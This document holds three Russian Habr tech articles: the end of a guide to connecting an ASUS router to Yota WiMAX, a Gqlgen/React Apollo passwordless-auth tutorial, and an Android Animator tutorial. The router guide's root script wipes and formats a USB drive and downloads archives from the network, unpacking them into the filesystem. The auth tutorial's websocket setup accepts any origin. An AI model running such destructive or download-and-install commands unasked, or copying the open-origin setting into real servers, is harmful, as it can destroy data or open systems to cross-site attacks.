4. Копируем представленный ниже код в буфер обмена
5. Правой кнопкой в появившемся окне вставить
6. Ждем примерно 10-15 минут в зависимости от скорости работы флешки и интернета. По окончании роутер перезапустится. Через 10 секунд после загрузки погаснет синий фонарь и замигает индикатор соединения на модеме.
`umount /opt
umount /tmp/mnt/disc0_1
echo -e -n d\n1\nn\np\n1\n512\nw | fdisk /dev/scsi/host0/bus0/target0/lun0/part1 < /tmp/fdisk.cfg
mke2fs -j /dev/scsi/host0/bus0/target0/lun0/part1
mount -o sync,noatime,rw /dev/scsi/host0/bus0/target0/lun0/part1 /opt
cd /tmp
wget http://lvk.cs.msu.su/~lasaine/madwimax/wl500g/libusb-1.0-mipsel.tgz
wget http://lvk.cs.msu.su/~lasaine/madwimax/wl500g/madwimax-latest-mipsel.tgz
wget http://lvk.cs.msu.su/~lasaine/madwimax/wl500g/udhcpc-script.tgz
cd /
tar -xzf /tmp/libusb-1.0-mipsel.tgz
tar -xzf /tmp/madwimax-latest-mipsel.tgz
tar -xzf /tmp/udhcpc-script.tgz
rm /tmp/libusb-1.0-mipsel.tgz /tmp/madwimax-latest-mipsel.tgz /tmp/udhcpc-script.tgz
mkdir -p /usr/local/sbin/
echo "#!/bin/sh" > /usr/local/sbin/post-mount
echo "mount -o sync,noatime,rw /dev/scsi/host0/bus0/target0/lun0/part1 /opt" >> /usr/local/sbin/post-mount
echo "mount -o bind /tmp/mnt/disc0_1 /opt" >> /usr/local/sbin/post-mount
echo "insmod /lib/modules/tun.o" >> /usr/local/sbin/post-mount
echo "(while true; do /opt/sbin/madwimax -qof; sleep 10; done) &" >> /usr/local/sbin/post-mount
chmod +x /usr/local/sbin/post-mount
ipkg.sh update
ipkg.sh install ipkg-opt
flashfs save
flashfs commit
flashfs enable
reboot`
**Готово! Роутер подключен к сети через Yota!** | https://habr.com/ru/post/53790/ | null | ru | null |
# React Apollo, Gqlgen – авторизация. Часть 1
Это базовое руководство описывающее схему работы "отложенной" авторизации. При которой права пользователю выдаются с задержкой по времени. Здесь мы разберем только базовый принцип и авторизацию.
Задача
------
Разработать сервис позволяющий авторизовываться "нестандартным" образом: код в СМС либо код в URL. Пароль у user отсутствует.
### Кейс
Пользователь в форме входа вводит свой Username, и в зависимости от настроек метода авторизации получает:
* Письмо с **кнопкой** на емайл, при ее активации – происходит авторизация. Почтовый клиент может находится на другом устройстве
* Открывается форма ввода кода из СМС, при успехе пользователь авторизовывается
### Проблема
Мы не знаем когда пользователь **нажмет на кнопку**. Но в случае ее активации фронтенд должен понять что авторизация произошла, выполнить HTTP запрос и получить токен.
Пользователь получает токен сессии по предьявлению – идентификатора клиента `ClientID`.
### Как решать?
1. При первом запросе ~~браузер~~ **Клиент** получает cookie c идентификатором `ClientID`
2. При отправке **Пользователем** формы авторизации, клиенту возвращается токен авторизации `Auth_token` – обменивается на токен **Пользователя**
3. Создается авторизационная сессия, хранит `Auth_token` , `ClientID` и `UserID`
4. **Пользователь** подтверждает авторизацию. Ищем клиента по `ClientID` в соединениях websocket – отправляем сигнал об авторизации
5. **Клиент** получил сигнал о наличии авторизации. Выполняется GET-запрос с токеном `Auth_token` в HTTP-заголовке Authorization. Ищем `Auth_token` в сессиях, в случае успеха авторизовываем **Пользователя**
> Статья разбита на несколько частей:
> - [часть 2](https://habr.com/ru/post/599723/)
> - часть 3 - в работе
> - [исходники этой части](https://github.com/zhivulinal/react-apollo-gqlgen-tutorial/tree/f34c72e0d9029f6d77966c3797810f38c6bf9f08)
>
>
### Подготовка
1. Развернем [Gqlgen](https://gqlgen.com/getting-started/)
2. Напишем [схемы GraphQL](https://graphql.org/learn/), сгенерируем модели и методы АПИ
3. Настроим CORS
4. GraphQL сервер
5. Реализуем websocket соединение
6. Store
7. Первый запуск
### 1. Развернем Gqlgen
[Способов развернуть проект на Gqlgen](https://www.google.com/search?q=Gqlgen+how+use&rlz=1C5CHFA_enRU904RU904&oq=Gqlgen+how+use&aqs=chrome..69i57j0i333.7285j0j7&sourceid=chrome&ie=UTF-8) существует не мало. Мы выбрали тот, который нам кажется наиболее простым.
#### Структура:
* `/backoffice/cmd` – основные файлы
* `/backoffice/graph` – файлы GraphQL
* `/backoffice/schema` – GraphQL схемы
* `/backoffice/models` – сгенерированные модели GraphQL
* `/backoffice/pkg` – библиотека
Создадим структуру, в директории `backoffice`, выполним:
```
go mod init react-apollo-gqlgen-tutorial/backoffice
go get github.com/99designs/gqlgen
go run github.com/99designs/gqlgen init
```
Отредактируем файл gqlgen.yml:
```
# Изменим экспорт файлов схемы
schema:
- schema/*.graphqls
# Изменим расположение моделей
model:
filename: models/models_gen.go
package: model
# Добавим исключение
# Чтобы генератор моделей не перезатирал уже имеющееся
autobind:
- "react-apollo-gqlgen-tutorial/backoffice/models"
```
Переименуем файл `server.go` в `main.go` и поместим его в `/backoffice/cmd`.
В директории `/backoffice/cmd` создадим файл `gqlgen.go`:
> // +build tools – не просто комментарий, [подробнее здесь](https://github.com/golang/go/wiki/Modules#how-can-i-track-tool-dependencies-for-a-module)
>
>
```
// +build tools
package main
import (
"fmt"
"github.com/99designs/gqlgen/cmd"
)
func main() {
fmt.Println("Building Graphql schema")
cmd.Execute()
}
```
Этот файл позволит генерировать модели из схемы GraphQL выполнением команды:
```
go run cmd/gqlgen.go
```
### 2. Напишем схемы GraphQL, сгенерируем модели и методы АПИ
Необходимо сгенерировать 3 модели данных: `Auth`, `Session`, `User` и методы GraphQL.
Schema `schema/schema.graphqls`:
```
"""
Запросы GET
"""
type Query {
"""
Первый запрос. Необходим для авторизации
Вызывается при наличии флага Auth.authorized
1. Если есть Auth.auth_token и Auth.authorized
передаем его в HTTP заголовке Authorization
2. Если есть Auth.client_id
передаем в заголовке Client-ID
"""
auth: Auth!
user: User!
}
"""
Запросы POST
"""
type Mutation {
"""
Метод авторизации.
Принимает username
Вернет Auth.auth_token, должен быть в
HTTP заголовке Authorization
при получении токена пользователя
"""
authorization(login: String!): Auth!
smsCode(code: String!): Auth!
}
"""
Подписки на websocket
"""
type Subscription {
"""
Подписка на Auth
"""
auth: Auth!
}
```
Session `schema/session.graphqls`:
```
type Session {
"""
Токен авторизации, должен совпасть с тем
что отдали клиенту при отправке формы авторизации
"""
auth_token: String!
"""
Идентификатор пользователя
"""
uid: Int!
"""
Метод авторизации установленный пользователем
"""
method: String!
}
```
Auth `schema/auth.graphqls`:
```
type Auth {
"""
Должен быть предъявлен при запросе токена пользователя
Получаем в ответе на GET запрос формы авторизации
Отправляем в HTTP заголовке Client-ID
"""
client_id: String!
"""
Должен быть предъявлен при запросе токена пользователя
Получаем в ответе на GET запрос формы авторизации
Отправляем в HTTP заголовке Authorization
"""
token: String!
"""
Указывает на наличие авторизации
"""
authorized: Boolean!
"""
Метод авторизации
"""
method: String!
}
```
На `User` можно посмотреть [здесь](https://github.com/zhivulinal/react-apollo-gqlgen-tutorial/blob/6acbcfe4c9454aaa735ef0a1264820ae1af5cdf3/backoffice/schema/user.graphqls)
### Генерация моделей и методов
После того как изменения в файлах схем GraphQL были сохранены, выполним команду:
```
go run cmd/gqlgen.go
```
Эта команда создаст `/backoffice/models` но нам интересна директория `/backoffice/graph`.
#### backoffice/graph:
1. Удаляем папку models в `/backoffice/graph`
2. Перемещаем файлы: `resolver.go` и `schema.resolvers.go` в `/backoffice/pkg/graph`
#### backoffice/pkg/qraph:
Оредактируем файл `schema.resolvers.go` заберем методы относящиеся к `*model.Auth` и `*model.User` . Поместим их в `auth.go` и `user.go` текущего каталога
Затянем зависимости:
```
go mod vendor
```
#### Получившаяся структура:
[Коммит Github](https://github.com/zhivulinal/react-apollo-gqlgen-tutorial/tree/278f43d7d75f7c4d68e7c9572ef134d923e529b9)
### 3. Настроим CORS
Создадим базовую защиту от CSRF атак
```
func CorsMiddleware() func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Разрешаем подключаться только конкретному хосту
// Заголовко всегда должен возвращать адрес действительного хоста
// Устанавливая звездочку "*" - создаем уязвимость в безопасности
w.Header().Set("Access-Control-Allow-Origin", "http://localhost:3000")
// Разрешаем принимать файлы cookie только от http://localhost:3000
//
// Подробнее про сочетания
// Access-Control-Allow-Origin и Access-Control-Allow-Credentials
// В этой таблице:
// https://fetch.spec.whatwg.org/#cors-protocol-and-credentials
w.Header().Set("Access-Control-Allow-Credentials", "true")
// Разрешаем использовать методы
w.Header().Set("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE")
// Блокируем возможность CSRF
// Access-Control-Allow-Headers = Content-Type
// Подробнее здесь:
// https://fetch.spec.whatwg.org/#concept-header
w.Header().Set("Access-Control-Allow-Headers",
"Accept, Content-Type, Content-Length, Accept-Encoding, Authorization")
if r.Method == "OPTIONS" {
return
}
next.ServeHTTP(w, r)
})
}
}
```
> Для комплексной защиты необходимо устранить XSS-уязвимости.
> [Интересная статья на эту тему](https://academind.com/tutorials/localstorage-vs-cookies-xss) англ.
>
>
### 4. GraphQL сервер
Мы уже переместили и структурировали файлы в `/pkg/qraph`. Теперь необходимо поправить `resolver.go`:
```
var (
mb int64 = 1 << 20
)
type Resolver struct{}
// Создадим функцию NewServer
func NewServer(opt Options) *handler.Server {
// Переместим создание сервера из cmd/main.go
srv := handler.New(
generated.NewExecutableSchema(
generated.Config{
Resolvers: &Resolver{},
},
),
)
srv.AddTransport(transport.MultipartForm{
MaxMemory: 32 * mb,
MaxUploadSize: 50 * mb,
})
srv.AddTransport(transport.POST{})
srv.AddTransport(transport.GET{})
srv.AddTransport(transport.Websocket{
KeepAlivePingInterval: 10 * time.Second,
Upgrader: websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true
},
ReadBufferSize: 1024,
WriteBufferSize: 1024,
},
InitFunc: transport.WebsocketInitFunc(func(ctx context.Context, initPayload transport.InitPayload) (context.Context, error) {
return ctx, nil
}),
})
srv.Use(extension.Introspection{})
return srv
}
type Options struct {}
```
### 5. Websocket соединение
Для реализации websocket возьмем пакет [Gorilla websocket](https://github.com/gorilla/websocket) и для работы с HTTP – [Gorilla mux](https://github.com/gorilla/mux)
Изменим `cmd/main.go`:
```
import (
//...
"react-apollo-gqlgen-tutorial/backoffice/pkg/graph"
"github.com/gorilla/mux"
)
var (
defaultPort = "2000"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = defaultPort
}
// Создадим GraphQL сервер
srv := graph.NewServer(graph.Options{})
// Создадим роутер
router := mux.NewRouter()
// Подключим CORS middleware
router.Use(middleware.CorsMiddleware())
router.Handle("/", playground.Handler("GraphQL playground", "/graphql"))
router.Handle("/graphql", srv)
log.Printf("connect to http://localhost:%s/ for GraphQL playground", port)
log.Fatal(http.ListenAndServe(":"+port, router))
}
```
[Коммит данного этапа](https://github.com/zhivulinal/react-apollo-gqlgen-tutorial/tree/4c1e24ce089f14b2831b241b4349a9ed19517154)
### 6. Store
В нашей логике взаимодействует несколько сущностей:
1. `Session`: хранит данные об отложенной и пользовательской сессиях, работает с клиентом
2. `Auth`: осуществляет авторизацию клиента и пользователя
3. `User`: работает с пользователем
Store по факту является менеджером, управляющим различными сущностями проекта выполняющие общую логику.
Опишем Store `/backoffice/pkg/store`:
```
package store
type Store struct {
token TokenOptions
}
func NewStore(opt Options) *Store {
return &Store{
token: opt.Token,
}
}
type Options struct {
Token TokenOptions
}
type TokenOptions struct {}
```
Создадим методы необходимые для работы сервера GraphQL.
Методы `Auth`:
```
// pkg/store/auth.go
// Возвращает состояние Auth исходя из текущего контекста
func (s *Store) Auth(ctx context.Context) (auth *model.Auth, err error) {
// ...
return
}
// Авторизовывает websocket, обрабатывает подключение и создает канал
func (s *Store) AuthCreateWebsocket(ctx context.Context) (out <-chan *model.Auth, err error) {
// ...
return
}
// Авторизация по Username
func (s *Store) AuthorizeForUsername(ctx context.Context, login string) (auth *model.Auth, err error) {
// ...
return
}
// Подтверждение авторизации из СМС сообщения
func (s *Store) AuthSMSApprove(ctx context.Context, code string) (auth *model.Auth, err error) {
// ...
return
}
```
Методы `User`:
```
// pkg/store/user.go
// Вернет User согласно текущего состояния авторизации
func (s *Store) User(ctx context.Context) (user *model.User, err error) {
// ...
return
}
```
Подключим `Store` в `pkg/graph/resolver.go`:
```
type Resolver struct{
store *store.Store
}
func NewServer(opt Options) *handler.Server {
srv := handler.New(
generated.NewExecutableSchema(
generated.Config{
Resolvers: &Resolver{
store: opt.Store,
},
},
),
)
// ...
}
type Options struct {
Store *store.Store
}
```
Отредактируем `pkg/graph/auth.go` и `pkg/graph/user.go`
```
// pkg/graph/auth.go
func (r *queryResolver) Auth(ctx context.Context) (*model.Auth, error) {
return r.store.Auth(ctx)
}
func (r *subscriptionResolver) Auth(ctx context.Context) (<-chan *model.Auth, error) {
return r.store.AuthCreateWebsocket(ctx)
}
func (r *mutationResolver) Authorization(ctx context.Context, login string) (*model.Auth, error) {
return r.store.AuthorizeForUsername(ctx, login)
}
func (r *mutationResolver) SmsCode(ctx context.Context, code string) (*model.Auth, error) {
return r.store.AuthSMSApprove(ctx, code)
}
// pkg/graph/user.go
func (r *queryResolver) User(ctx context.Context) (*model.User, error) {
return r.store.User(ctx)
}
```
[Исходники этапа](https://github.com/zhivulinal/react-apollo-gqlgen-tutorial/tree/4bd178e1a9b67fb4048ab70dc1c6b3a70654d382)
### 7. Первый запуск
В терминале набираем команду:
```
go run cmd/main.go
```
В адресной строке: [http://localhost:2000/](http://localhost:8080/)
Открывается GraphQL playground:
На этом, подготовительную часть можно считать завершенной.
Продолжение в [следующей части](https://habr.com/ru/post/599723/) | https://habr.com/ru/post/598359/ | null | ru | null |
# Animator — что это? Зачем он нужен? Почему его стоит использовать вместо Animation?
Привет! Меня зовут Данил Перевалов, я работаю Android-разработчиком в компании «Лайв Тайпинг», и сегодня мне выпала честь открыть наш блог на Хабре. Дебютный материал посвящён типу классов Animator. Статья будет полезна и тем, кто только столкнулся с созданием анимаций, и тем, кому недостаточно уже имеющихся знаний по предмету. Тех же, кто давно знаком с темой, мы настойчиво просим делиться опытом в комментариях.
#### Что такое Animator?
Немного истории. С момента запуска платформы Android существовал фреймворк View Animation. Предназначался он, как следует из названия, для анимаций. Но производительность устройств в конце нулевых была настолько низкой, что о красивых анимациях никто особо не думал, поэтому фреймворк не был удобным и гибким. Он имел только четыре типа анимации (TranslateAnimation, AlphaAnimation, ScaleAnimation, RotateAnimation), класс, позволяющий их комбинировать (AnimationSet), а также способность работать только с классами, унаследованными от View.
В Android 3.0 появился куда более гибкий фреймворк Property Animation. Он умеет изменять любое доступное свойство, а также может работать с любыми классами. Его основным инструментом является Animator.
Animator — это тип классов, предназначенных для изменения значений выбранного объекта относительно времени. Грубо говоря, это инструмент для управления потоком заданной длительности, который изменяет определённое свойство от начального значения к конечному. Таким плавно меняющимся свойством в анимации может быть, например, прозрачность.
Идеологическое отличие классов Animator от View Animation в том, что View Animation изменяет «представление» объекта, не изменяя сам объект (исключением является использование setFillAfter(true), но с этим флагом объект изменяется в конце анимации). Animator же призван изменять свойства самого объекта.
#### Классы, унаследованные от Animator
*ValueAnimator (наследуется от Animator)*
В самом простом варианте мы задаём этому классу тип изменяемого значения, начальное значение и конечное значение, и запускаем. В ответ нам будут приходить события на начало, конец, повторение и отмену анимации и ещё на два события, которые задаются отдельно для паузы и изменения значения. Событие изменения, пожалуй, самое важное: в него будет приходить изменённое значение, с помощью которого мы и будем менять свойства объектов.
Посмотрите на изменение alpha с его помощью:
```
ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
animator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
view.setAlpha((Float) animation.getAnimatedValue());
}
});
animator.start();
```
*ObjectAnimator, наследуется от ValueAnimator*
Это класс, призванный упростить работу с ValueAnimator. С ним вам не нужно вручную изменять какое-либо значение по событию изменения — вы просто даёте Animator'у объект и указываете поле, которое вы хотите изменить, например scaleX. С помощью Java Refliction ищется setter для этого поля (в данном случае — setScaleX. Далее Animator самостоятельно будет менять значение этого поля.
С помощью ObjectAnimator изменение alpha будет выглядеть так:
```
ObjectAnimator.ofFloat(view, View.ALPHA, 0, 1).start();
```
У класса View есть несколько свойств специально предназначенных для анимирования с помощью Animator:
* прозрачность (View.ALPHA)
* масштаб (View.SCALE\_X, View.SCALE\_Y)
* вращение (View.ROTATION, View.ROTATION\_X, View.ROTATION\_Y)
* положение (View.X, View.Y, View.Z)
* положение отображаемой части (View.TRANSLATION\_X, View.TRANSLATION\_Y, View.TRANSLATION\_Z)
*AnimatorSet (наследуется от Animator)*
Это класс, позволяющий комбинировать анимации различными способами: запускать одновременно или последовательно, добавлять задержки и т.д.
*ViewPropertyAnimator*
Это отдельный класс. Он не наследуется от Animator, но обладает той же логикой, что и ObjectAnimator для View, и предназначен для лёгкого анимирования какой-либо View без лишних заморочек.
Вот так с его помощью можно изменить alpha:
```
view.animate().alphaBy(0).alpha(1).start();
```
#### Как мы начали использовать Animator
Около года назад передо мной встала задача сделать анимацию при клике на элемент. Вот такую:
Не то чтобы я не делал анимаций прежде, но на аутсорсе они редко нужны. Поэтому я загуглил Animation Android. Первые пять ссылок довольно подробно описывали, как делаются анимации, и я приступил. Вот первый результат:
**Код Animation**
```
public static void likeAnimation(@DrawableRes int icon,
final ImageView imageView) {
imageView.setImageResource(icon);
imageView.setVisibility(View.VISIBLE);
AlphaAnimation showAlphaAnimation = new AlphaAnimation(0.0f, 1.0f);
showAlphaAnimation.setDuration(SHOW_DURATION);
ScaleAnimation showScaleAnimation = new ScaleAnimation(0.2f, 1.4f, 0.2f, 1.4f,
android.view.animation.Animation.RELATIVE_TO_SELF, 0.5f,
android.view.animation.Animation.RELATIVE_TO_SELF, 0.5f);
showScaleAnimation.setDuration(SHOW_DURATION);
AnimationSet showAnimationSet = new AnimationSet(false);
showAnimationSet.addAnimation(showAlphaAnimation);
showAnimationSet.addAnimation(showScaleAnimation);
showAnimationSet.setAnimationListener(new OnEndAnimationListener() {
@Override
public void onAnimationEnd(android.view.animation.Animation animation) {
ScaleAnimation toNormalScaleAnimation = new ScaleAnimation(1.4f, 1.0f, 1.4f, 1.0f,
android.view.animation.Animation.RELATIVE_TO_SELF, 0.5f,
android.view.animation.Animation.RELATIVE_TO_SELF, 0.5f);
toNormalScaleAnimation.setDuration(TO_NORMAL_DURATION);
toNormalScaleAnimation.setAnimationListener(new OnEndAnimationListener() {
@Override
public void onAnimationEnd(android.view.animation.Animation animation) {
AlphaAnimation hideAlphaAnimation = new AlphaAnimation(1.0f, 0.0f);
hideAlphaAnimation.setDuration(HIDE_DURATION);
ScaleAnimation hideScaleAnimation = new ScaleAnimation(1.0f, 0.2f, 1.0f, 0.2f,
android.view.animation.Animation.RELATIVE_TO_SELF, 0.5f,
android.view.animation.Animation.RELATIVE_TO_SELF, 0.5f);
hideScaleAnimation.setDuration(HIDE_DURATION);
AnimationSet hideAnimationSet = new AnimationSet(false);
hideAnimationSet.setStartOffset(HIDE_DELAY);
hideAnimationSet.addAnimation(hideAlphaAnimation);
hideAnimationSet.addAnimation(hideScaleAnimation);
hideAnimationSet.setAnimationListener(new OnEndAnimationListener() {
@Override
public void onAnimationEnd(android.view.animation.Animation animation) {
imageView.setVisibility(View.GONE);
}
});
imageView.startAnimation(hideAnimationSet);
}
});
imageView.startAnimation(toNormalScaleAnimation);
}
});
imageView.startAnimation(showAnimationSet);
}
```
[Ссылка на код](https://github.com/princeparadoxes/AnimationVsAnimator/blob/master/app/src/main/java/com/princeparadoxes/animationvsanimator/like/AnimationExample.java)
Код получился малопонятным, что подтолкнуло меня к поискам иного подхода в составлении последовательности анимаций. Решение было найдено на [StackOveflow](http://stackoverflow.com/a/7334539/5451527). Идея такая: помещать в последовательности анимаций каждую последующую анимацию в AnimationSet со сдвигом, равным сумме длительностей предыдущих анимаций. Получилось гораздо лучше, чем было:
**AnimationSet**
```
public static void likeAnimation(@DrawableRes int icon,
final ImageView imageView) {
imageView.setImageResource(icon);
imageView.setVisibility(View.VISIBLE);
AnimationSet animationSet = new AnimationSet(false);
animationSet.addAnimation(showAlphaAnimation());
animationSet.addAnimation(showScaleAnimation());
animationSet.addAnimation(toNormalScaleAnimation());
animationSet.addAnimation(hideAlphaAnimation());
animationSet.addAnimation(hideScaleAnimation());
animationSet.setAnimationListener(new OnEndAnimationListener() {
@Override
public void onAnimationEnd(Animation animation) {
imageView.setVisibility(View.GONE);
}
});
imageView.startAnimation(animationSet);
}
private static Animation showAlphaAnimation() {
AlphaAnimation showAlphaAnimation = new AlphaAnimation(0.0f, 1.0f);
showAlphaAnimation.setDuration(SHOW_DURATION);
return showAlphaAnimation;
}
private static Animation showScaleAnimation() {
ScaleAnimation showScaleAnimation = new ScaleAnimation(
0.2f, 1.4f, 0.2f, 1.4f,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
showScaleAnimation.setDuration(SHOW_DURATION);
return showScaleAnimation;
}
private static Animation toNormalScaleAnimation() {
ScaleAnimation toNormalScaleAnimation = new ScaleAnimation(
1.4f, 1.0f, 1.4f, 1.0f,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
toNormalScaleAnimation.setDuration(TO_NORMAL_DURATION);
toNormalScaleAnimation.setStartOffset(SHOW_DURATION);
return toNormalScaleAnimation;
}
private static Animation hideAlphaAnimation() {
AlphaAnimation hideAlphaAnimation = new AlphaAnimation(1.0f, 0.0f);
hideAlphaAnimation.setDuration(HIDE_DURATION);
hideAlphaAnimation.setStartOffset(SHOW_DURATION + TO_NORMAL_DURATION + HIDE_DELAY);
return hideAlphaAnimation;
}
private static Animation hideScaleAnimation() {
ScaleAnimation hideScaleAnimation = new ScaleAnimation(
1.0f, 0.2f, 1.0f, 0.2f,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
hideScaleAnimation.setDuration(HIDE_DURATION);
hideScaleAnimation.setStartOffset(SHOW_DURATION + TO_NORMAL_DURATION + HIDE_DELAY);
return hideScaleAnimation;
}
```
[Ссылка на код](https://github.com/princeparadoxes/AnimationVsAnimator/blob/master/app/src/main/java/com/princeparadoxes/animationvsanimator/like/AnimationSetOffsetExample.java)
Код стал понятнее и читабельнее, но есть одно «но»: следить за сдвигом у каждой анимации довольно неудобно даже в такой простой последовательности. Если добавить ещё несколько шагов, то это станет почти невыполнимой задачей. Также важным минусом такого подхода стало странное поведение анимации: размер анимированного объекта, по непонятным для меня причинам, был больше, чем при обычной последовательности анимаций. Попытки разобраться ни к чему не привели, а вникать глубже я уже не стал — подход мне всё равно не нравился. Но я решил развить эту идею и разбить каждый шаг на отдельный AnimatorSet. Вот что вышло:
**AnimatorSet в AnimatorSet**
```
public static void likeAnimation(@DrawableRes int icon,
final ImageView imageView) {
imageView.setImageResource(icon);
imageView.setVisibility(View.VISIBLE);
AnimationSet animationSet = new AnimationSet(false);
animationSet.addAnimation(showAnimationSet());
animationSet.addAnimation(toNormalAnimationSet());
animationSet.addAnimation(hideAnimationSet());
animationSet.setAnimationListener(new OnEndAnimationListener() {
@Override
public void onAnimationEnd(Animation animation) {
imageView.setVisibility(View.GONE);
}
});
imageView.startAnimation(animationSet);
}
private static AnimationSet showAnimationSet() {
AlphaAnimation showAlphaAnimation = new AlphaAnimation(0.0f, 1.0f);
ScaleAnimation showScaleAnimation = new ScaleAnimation(
0.2f, 1.4f, 0.2f, 1.4f,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
AnimationSet set = new AnimationSet(false);
set.addAnimation(showAlphaAnimation);
set.addAnimation(showScaleAnimation);
set.setDuration(SHOW_DURATION);
return set;
}
private static AnimationSet toNormalAnimationSet() {
ScaleAnimation toNormalScaleAnimation = new ScaleAnimation(
1.4f, 1.0f, 1.4f, 1.0f,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
AnimationSet set = new AnimationSet(false);
set.addAnimation(toNormalScaleAnimation);
set.setDuration(TO_NORMAL_DURATION);
set.setStartOffset(SHOW_DURATION);
return set;
}
private static AnimationSet hideAnimationSet() {
AlphaAnimation hideAlphaAnimation = new AlphaAnimation(1.0f, 0.0f);
ScaleAnimation hideScaleAnimation = new ScaleAnimation(
1.0f, 0.2f, 1.0f, 0.2f,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
AnimationSet set = new AnimationSet(false);
set.setDuration(HIDE_DURATION);
set.addAnimation(hideAlphaAnimation);
set.addAnimation(hideScaleAnimation);
set.setStartOffset(SHOW_DURATION + TO_NORMAL_DURATION + HIDE_DELAY);
return set;
}
```
[Ссылка на код](https://github.com/princeparadoxes/AnimationVsAnimator/blob/master/app/src/main/java/com/princeparadoxes/animationvsanimator/like/AnimationSetInSetExample.java)
Некорректная работа анимации, плохой подход, всё плохо. Вновь я обратился к Google, и наткнулся на то, что Animation уже является Legacy code, то есть устарел и не поддерживается, хотя и используется.
Я понял, что нужно делать анимации совершенно иначе. И вот на просторах [Android Developers](http://developer.android.com/intl/ru/guide/topics/graphics/prop-animation.html) я наткнулся на Animator. Попытка сделать анимацию с его помощью выглядела так:
**Animator**
```
public static void likeAnimation(@DrawableRes int icon,
final ImageView view) {
if (view != null && !isAnimate) {
AnimatorSet set = new AnimatorSet();
set.playSequentially(
showAnimatorSet(view),
toNormalAnimatorSet(view),
hideAnimatorSet(view));
set.addListener(getLikeEndListener(view, icon));
set.start();
}
view.animate().alphaBy(0).alpha(1).start();
}
private static AnimatorListenerAdapter getLikeEndListener(final ImageView view, final int icon) {
return new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animation) {
super.onAnimationStart(animation);
isAnimate = true;
view.setVisibility(View.VISIBLE);
view.setImageResource(icon);
view.setLayerType(View.LAYER_TYPE_HARDWARE, null);
}
@Override
public void onAnimationEnd(Animator animation) {
super.onAnimationEnd(animation);
isAnimate = false;
view.setVisibility(View.GONE);
view.setImageDrawable(null);
view.setLayerType(View.LAYER_TYPE_NONE, null);
}
};
}
private static AnimatorSet showAnimatorSet(View view) {
AnimatorSet set = new AnimatorSet();
set.setDuration(SHOW_DURATION).playTogether(
ObjectAnimator.ofFloat(view, View.ALPHA, 0f, 1f),
ObjectAnimator.ofFloat(view, View.SCALE_X, 0.2f, 1.4f),
ObjectAnimator.ofFloat(view, View.SCALE_Y, 0.2f, 1.4f)
);
return set;
}
private static AnimatorSet toNormalAnimatorSet(View view) {
AnimatorSet set = new AnimatorSet();
set.setDuration(TO_NORMAL_DURATION).playTogether(
ObjectAnimator.ofFloat(view, View.SCALE_X, 1.4f, 1f),
ObjectAnimator.ofFloat(view, View.SCALE_Y, 1.4f, 1f)
);
return set;
}
private static AnimatorSet hideAnimatorSet(View view) {
AnimatorSet set = new AnimatorSet();
set.setDuration(HIDE_DURATION).playTogether(
ObjectAnimator.ofFloat(view, View.ALPHA, 1f, 0f),
ObjectAnimator.ofFloat(view, View.SCALE_X, 1f, 0.2f),
ObjectAnimator.ofFloat(view, View.SCALE_Y, 1f, 0.2f)
);
set.setStartDelay(HIDE_DELAY);
return set;
}
```
[Ссылка на код](https://github.com/princeparadoxes/AnimationVsAnimator/blob/master/app/src/main/java/com/princeparadoxes/animationvsanimator/like/AnimatorExample.java)
Анимация работала безупречно, а значит, поиски можно считать оконченными. Единственное, что при работе с Animator нужно помнить, не запущен ли уже какой-то Animator для конкретной view, потому что в противном случае старый продолжит выполнятся, как ни в чем не бывало.
#### Глубже в Animator
Я начал поиски того, что ещё интересного можно сделать с помощью Animator. Полёт мысли привёл меня к следующему:
При нажатии на кнопку одновременно выполняется четыре Animator'a:
**Одновременный запуск**
```
AnimatorSet showHideSet = new AnimatorSet();
showHideSet.playTogether(
ScrollAnimatorUtils.translationYAnimator(translationY, footerButtons),
ScrollAnimatorUtils.translationYAnimator(translationY, footerText),
ScrollAnimatorUtils.scrollAnimator(startScroll, endScroll, scrollView),
ScrollAnimatorUtils.alphaAnimator(1, 0, recyclerView)
);
showHideSet.start();
```
1) двигает вниз footer списка;
2) двигает вниз кнопки;
**translationYAnimator**
```
public static Animator translationYAnimator(final float start, int end, final View view, int duration) {
ObjectAnimator animator = ObjectAnimator.ofFloat(view, View.TRANSLATION_Y, end);
animator.setDuration(duration);
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
super.onAnimationEnd(animation);
view.setTranslationY(start);
}
});
return animator;
}
```
3) скроллит ScrollView до самого низа;
**scrollAnimator**
```
public static Animator scrollAnimator(int start, int end, final View view, int duration) {
ValueAnimator scrollAnimator = ValueAnimator.ofInt(start, end);
scrollAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator valueAnimator) {
view.scrollTo(0, (int) valueAnimator.getAnimatedValue());
}
});
scrollAnimator.setDuration(duration);
scrollAnimator.addListener(getLayerTypeListener(view));
return scrollAnimator;
}
```
4) накладывает alpha эффект на recyclerView.
**alphaAnimator**
```
public static Animator alphaAnimator(int start, int end, View view, int duration) {
ValueAnimator alphaAnimator = ObjectAnimator.ofFloat(view, View.ALPHA, start, end);
alphaAnimator.setDuration(duration);
alphaAnimator.addListener(getLayerTypeListener(view));
return alphaAnimator;
}
```
[Ссылка на полный код](https://github.com/princeparadoxes/AnimationVsAnimator/blob/master/app/src/main/java/com/princeparadoxes/animationvsanimator/scroll/ScrollFragment.java)
На этом краткий обзор Animator закончен. Если вы в курсе каких-то интересных приёмов, связанных с Animator — дополняйте статью своими комментариями.
